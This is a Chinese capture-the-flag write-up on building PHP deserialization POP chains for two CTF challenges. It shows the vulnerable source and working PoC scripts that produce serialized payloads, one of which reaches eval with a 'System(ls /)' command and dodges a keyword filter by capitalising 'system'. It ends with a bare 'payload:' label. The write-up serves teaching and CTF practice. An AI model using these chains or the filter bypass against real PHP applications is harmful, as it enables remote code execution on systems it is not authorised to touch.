构造pop链

[SWPUCTF 2021 新生赛]pop

php反序列化——pop链构造[SWPUCTF 2021 新生赛]pop [NISACTF 2022]babyserialize-LMLPHP

用反推法

从后往前推

这题的最后一步很明显

只要给$admin和$passwd赋值 就会echo flag

所以反推法第一步就是要调用Getflag()函数 找到$this->w00m->{$this->w22m}();

$this->mw00->{$this->w22m}();的意思是调用当前对象的 w00m 属性中名为 $this->w22m 的方法。

所以只需

mw00=w44m  w22m = Getflag()即可调用Getflag()

这题的链条是(反推)

具体的推导和赋值在注释里:

 <?php
  error_reporting(0);
  show_source("index.php");
  class w44m
  {
    private $admin = 'aaa';
    protected $passwd = '123456';
    public function Getflag()//1.想办法调用Getflag()函数 找到$this->w00m->{$this->w22m}();
    {
      if ($this->admin === 'w44m' && $this->passwd === '08067') {
        include('flag.php');
        echo $flag;
      } else {
        echo $this->admin;
        echo $this->passwd;
        echo 'nono';
      }
    }
  }
  class w22m
  {
    public $w00m;
    public function __destruct()//3.反序列化$w00m时可调用
    {
      echo $this->w00m;//w00m = w33m
    }
  }
  class w33m
  {
    public $w00m;
    public $w22m;
    public function __toString()//2.想办法调用__toString() 找到echo $this->w00m;
    {
      $this->mw00->{$this->w22m}();//调用当前对象的 w00m 属性中名为 $this->w22m 的方法。
      //mw00=w44m  w22m = Getflag() 
      
      return 0;
    }
  }
  $w00m = $_GET['w00m'];
  unserialize($w00m);

poc

class w44m{

    private $admin = 'w44m';
    protected $passwd = '08067';

   
}

class w22m{
    public $w00m;
   
}

class w33m{
    public $w00m;
    public $w22m;
  
}

$a = new w44m();

$c = new w33m();
$c->w00m = $a;
$c->w22m = 'Getflag';
$b = new w22m();
$b->w00m = $c;


echo serialize($b);
echo urlencode(serialize($b));

?> 

因为有私有属性

直接urlencode 省的加%00了

[NISACTF 2022]babyserialize

php反序列化——pop链构造[SWPUCTF 2021 新生赛]pop [NISACTF 2022]babyserialize-LMLPHP

先反序列化classNISA 看一下hint

<?php
  //include "waf.php";
  class NISA
  {
    public $fun = "show_me_flag";
    public $txw4ever;
  }
 $lcycb = new NISA();
  echo serialize($lcycb);
    
  ?>

php反序列化——pop链构造[SWPUCTF 2021 新生赛]pop [NISACTF 2022]babyserialize-LMLPHP

告诉我们flag在根目录

这题最后一步也很清晰了

php反序列化——pop链构造[SWPUCTF 2021 新生赛]pop [NISACTF 2022]babyserialize-LMLPHP

这里有一个命令执行函数

只要给txw4ever赋值一个类似

system(“ls”);

这样的值我们就成功getshell

这里的链小点复杂

我写在注释里

include "waf.php";
  class NISA
  {
    public $fun = "show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
      if ($this->fun == "show_me_flag") {
        hint();
      }
    }

    function __call($from, $val)
    {
      $this->fun = $val[0];
    }

    public function __toString()
    {
      echo $this->fun; 
      return " ";
    }
    public function __invoke()//1.调用__invoke() 找到$bb = $this->su; return $bb();(54)
    {
      checkcheck($this->txw4ever);
      @eval($this->txw4ever);//1 shell
    }
  }

  class TianXiWei
  {
    public $ext;
    public $x;
    public function __wakeup()//5.反序列化 class TianXiWei 即可触发
    {
      $this->ext->nisa($this->x);//ext = class Ilovetxw
    }
  }

  class Ilovetxw
  {
    public $huang;
    public $su;

    public function __call($fun1, $arg){ //4.调用call 调用了对象里不存在的方法 找到 $this->ext->nisa($this->x);(37)
      $this->huang->fun = $arg[0];//huang=  class four
    }

    public function __toString()//2.调用__toString() 把对象被当成字符串调用 找调用字符串的指令 找到strtolower($this->a);(67)
    {
      $bb = $this->su;
      return $bb();//su = class NISA
    }
  }

  class four
  {
    public $a = "TXW4EVER";
    private $fun = 'abc';

    public function __set($name, $value)//3.调用set() 条件:给不存在的属性赋值 找到$this->huang->fun = $arg[0];(48)
    {
      $this->$name = $value;
      if ($this->fun = "sixsixsix") {
        strtolower($this->a);//a=class Ilovetxw 
      }
    }
  }

  if (isset($_GET['ser'])) {
    @unserialize($_GET['ser']);
  } else {
    highlight_file(__FILE__);
  }

构造poc

//poc
class NISA{
    public $fun="lcycb";
    public $txw4ever="System('ls /');";
   
}

class TianXiWei{//key
    public $ext;//ext = class Ilovetxw $b
    public $x;
}

class Ilovetxw{
    public $huang;//huang=  class four $c
    public $su;//su = class NISA $a

}

class four{
    public $a="TXW4EVER";//a=class Ilovetxw $b
    private $fun='abc';

}

$a = new NISA();
$b = new Ilovetxw();
$c = new four();
$key = new TianXiWei();
$b->su = $a;
$c->a = $b;
$b->huang = $c;
$key->ext = $b;
echo serialize($key);
echo "\n";
echo urlencode(serialize($key));

这里还有两个坑

1 .是要改变$fun 的值

不然无法绕过第一个if语句

回显的永远是那个hint

2.这里有一个waf.php过滤

system被过滤了

但只要大写就能绕过了

payload:

03-28 11:09